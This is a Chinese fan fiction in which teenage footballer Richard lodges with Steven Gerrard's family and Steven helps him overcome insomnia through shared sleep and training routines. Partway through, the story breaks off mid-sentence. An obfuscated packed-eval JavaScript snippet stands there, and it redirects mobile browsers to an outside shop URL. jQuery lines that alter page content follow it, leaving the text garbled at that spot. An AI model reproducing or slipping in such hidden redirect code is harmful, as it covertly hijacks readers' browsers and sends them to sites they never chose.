Richard按响门铃用露八颗牙齿的完美笑容来打招呼，“Mr.s 杰拉德，我是Richard，可以叫我Rick。我很期待生活在这里——”
她客气地开口，“叫我朱莉就好，Rick，快点进门好好休息吧。”
他被带到杰拉德的卧室，上下铺，原来是兄弟两个住，如今剩下杰拉德一个人睡下面。
“欢迎……欢迎来到我家，把东西先放下去洗个澡吧？”杰拉德不知道自己在紧张什么，他明明很期待Richard，期待和这个同龄的伙伴变得更熟稔。
他果然不适应在家里多出一个人，还是一个给他花了钱不求回报却要求他拿冠军的他差点排挤的人。
年初收到了住宿协议一家人正在研究，朱莉忍不住开口：“食物方面居然是没什么需要特别注意的？对‘英国美食’全都欢迎？”
杰拉德点点头，“他是最受食堂叔叔阿姨欢迎的人。嗯，就我观察而言他非常好相处。”
Richard默默爬下床靠在书桌前的椅子上发呆，来到杰拉德家他总不敢第一天就肆无忌惮的放音乐助眠。夜晚的他只是一个连自己家的床都不能顺利入睡的人。
杰拉德似乎梦到了什么几乎弹射起步，刚睁开眼又被Richard吓一大跳，“你……你怎么坐着不睡觉！”
杰拉德意识到Richard当初的申请有写着他常年失眠正在努力治疗中，所以准备说出的话立刻刹了车。趁着在黑夜里他不住抚摸着自己的胸膛，他没喊出声音就不错了，纯是靠强大的自制力。
“我在家的时候会放一些古典的音乐，但是我，我不好意思打扰……”Richard欲言又止。
床上的Steven·Gerrard困得头晕目眩直接拉开被子，“上来一起睡！”
他不知道自己会不会后悔，但他知道自己任凭Richard聊下去，他们两个转天都得顶着黑眼圈不停打哈欠影响上课影响训练，然后被老师教练和妈妈点名批评。
Richard爬上去的速度活像是一个刚被领养的puppy怕被扔下，于是动作飞快贴在带他回家的人身边。
杰拉德腰被一双手臂抱住，热烘烘的胸膛贴上来在后背暖融融的，他怎么……也许这样他才能睡着呢？不知道时针走过了多少步，察觉到身后放松的呼吸，突然预知到未来可能将长期作为Richard专属抱枕的杰拉德愤而闭眼。
Richard永远比闹钟先醒，但他必须承认，杰拉德的气息或者是什么东西，简直是灵丹妙药，他一晚上只醒了三次！正准备伸个懒腰就发现自己侧身枕在杰拉德的左臂，他的一条腿也在Richard两腿之间。
Richard试图轻轻挪动时杰拉德有所察觉睁开了双眼，他实在很无奈地揉着他的脖颈说：“嘶，如果你今天晚上还需要‘帮忙’的话就听我的好吗？你半夜梦到了终结者还是虎胆龙威？”
Richard慢慢清醒过来，他微微撑起身子靠在床头，确认自己基本入睡前什么姿势现在还是什么姿势，不知道Steven夜里经历了什么，Richard肃然起敬有些为难地开口：“对不起，Steven，我真不是故意的……”
“叫我stevie吧，Rick。”Steven用他尚且灵活的右臂和Richard握手，然后忍不住打了个哈欠，“我觉得你很需要一些工具辅助，为了你我未来的睡眠质量……说真的，我比踢了一场球还累。”
“好的，Stevie。”他从善如流，他斟酌词汇，“但你说的具体是什么呢？”
“睡袋或者是睡眠约束带，你以为是什么？”Steven瞥向他觉得莫名其妙。
Richard决定强行转移话题，他想得有点太多，“你先去洗漱。”
没想到Steven出来之后还在继续这个话题，“我们之前没预料到你的失眠状况的程度，放松点儿，我会帮你的。”
Richard嘴里满是泡沫，冲他用力点头以示回答。
“今天是燕麦牛奶和吐司，酱要什么口味的？”
“有什么吃什么就好，谢谢你朱莉。”
Steven把蓝莓酱推到他面前，边撕扯着吐司边开口，一副习惯了的模样，“我们的学校居然也离得很近。我感觉从我们认识以来在任何场景都能遇到。”
“说明我们天生就要成为朋友咯。”Richard试图对他wink。
“你眼睛进虫子了吗？”
话音未落Steven已经把二人的书包或者说足球包都从房间一并拿出来了，Richard又一次感谢妈妈的高瞻远瞩选择了一所公立学校。
“Stevie放学早一点，接完他再去接Rick刚刚好。上车，妈妈送你们上学去。”朱莉眼疾手快地把两个饭盒分别递给两个孩子，“Paul这两天忙完了给你们带礼物回来~”
Richard和Steven挤在一起叽叽喳喳聊天，他们对足球鞋和护腿板可比作业重视多了，因为到了教室，两人都很是费了一番努力才拯救了昨天美丽的黄昏之下瞎编的作业。
世界上应该没人喜欢重新上一遍学吧，Richard频频看向窗外恨不得身在操场，历史课的老师敲敲黑板倒是没骂他，只好装作很投入——他倒也不至于初中生一年级的课程都忘了又想着刺球有些心猿意马。
他猜Steven更胜一筹，那小子早早儿把训练服叠的整整齐齐装进包里，把护腿板都擦了两遍，但要不是他提醒都忘了还有作业，于是发生了瞎编大计，Steven抄就抄还有自己的小巧思，他灵机一动改错了一些答案，殊不知本来就有错误的答案……幸好他们都不是什么好学生。
熬到课程结束Richard在学校门口等到了母子二人，Stevie说和Juile讲过等他来了他们俩可以相伴去俱乐部但被严词拒绝，大人指出才14岁怎能单独前行的明显事实，Richard盯着手里的Stevie同款水杯就忍不住笑，看了又看才舍得放在场边。
他们按部就班慢跑几圈拉腿压腿，今天和过去一年的每个训练日有同样的开场，反正教练原话是防止拉伤就行，他们如今已经可以把教练说的跑步要整齐当做耳旁风了，挨骂两句而已。
接下来也是没什么变化的项目，Richard甚至能在开合跳的时候想电视剧播到哪一集想今天居然没下雨。他和Steven隔着好多个人对视，隔着好多双脚传球，比着射门进球的数量，聊着今天对抗又成功了。
“今天是我赢了哦~”Richard开始畅想，“下周末比赛多给我传球！”
“走了Rick，回家吃饭。”Steven搂着他的肩膀往外走也没说答应也没说拒绝，“明天没有安排训练要去一块儿踢球吗。”
“明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326706|199125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天不可以哦，我每周还需要治疗的。”Richard还记得自己的“日程”，“但我答应你，结束的第一时间就去找你！”
“我们有的是机会，或者晚点儿去也可以，你的失眠是现今最重要的……我等你。”
如今他仍然和Stevie同床共枕，他被勒令禁止听音乐，因为Stevie代替了音乐。
连医生都意外他变化的速度，但总之一切都在往好处发展。
“你现在的状态真的比我刚遇到你的时候好太多了。”Stevie轻轻撞他肩膀，“那时候都怕你在我面前倒下。”
“会不会太夸张了？还去踢球吗？”
“去。”
“妈妈——我们去公园了——”
“跑慢点儿——”朱莉的声音消散在空气里。
比平常时间来得晚了一些，所以遇见的人也换了，Richard还没记住名字已经和人成了队友准备大干一场，即使摔得满身土也只觉得快乐。
今天比赛的球场就是二线队的球场，Richard得承认学校联赛的对手确实和他们旗鼓相当，至少体力上是，他喘着粗气，不停观察可能的进攻时机。
Richard仍然抓住了机会，来自Stevie的机会，他在60分钟场上球员都疲于奔命的时候咬着牙跑动，一记斜长传，Richard把球推向球门死角，守门员判断错了方向眼看着球从他身边落网。
又一场胜利，一场疲惫的胜利，Richard冲凉时只想靠在墙壁上借力缓缓。他和Stevie同时开口，说的是相同的内容：他们都认定接下来要更努力锻炼，不再被人试图拖垮体力来赢得比赛，不能每一次都依靠灵光乍现，他们要站到最后。
现在的Richard不再被允许睡不着的时候在床上躺着，医生说他一晚上能睡多久才可以呆多长的时间，必须有困意再上床，20分钟还清醒，那就需要离开卧室直到重新感觉困意，总之要让大脑觉得床=睡觉。
如此几周下来，Steven觉得自己比Richard本人还要了解他的状态，包括白天的皱眉，不自觉的揉太阳穴，焦虑的踱步，恨不得替他分担一些，但无法替他睡觉只能在其他的地方帮助他，比如帮他记录时间，引导他做呼吸训练，深夜呆在客厅一起寻找虚无缥缈的睡意，做个临时心理医生。
“所以你最近几年都是怎么过来的？”Steven还是没有忍住把话问出口。
Richard只是笑笑。
“现在加起来一晚上有差不多六个小时了。”Steven正拿着本和第一周的情况对比，“也不会像一开始那样三个小时都睡不着了，对不对？”
“你说的都对，Stevie，也许你才是最重要的一环。”
Steven觉得心里暖暖的但没太当真，为相处很合拍的朋友付出一些时间奖励帮助他，实在是很值得的事儿。
“睡吧，有我在呢。今天要不要讲睡前故事啊？”Steven临时客串“妈妈”角色。
虽然他们的睡前故事一般是利物浦名宿精彩历史，Richard早已倒背如流还是一口应下，“当然要。”
“今天我们要讲Ian?Rush……”
看Richard眼皮打架，想不开眼，Steven竟然颇有成就感，但他可不敢再动弹，万一破坏了这场不知道多久的睡眠那他可罪过大了。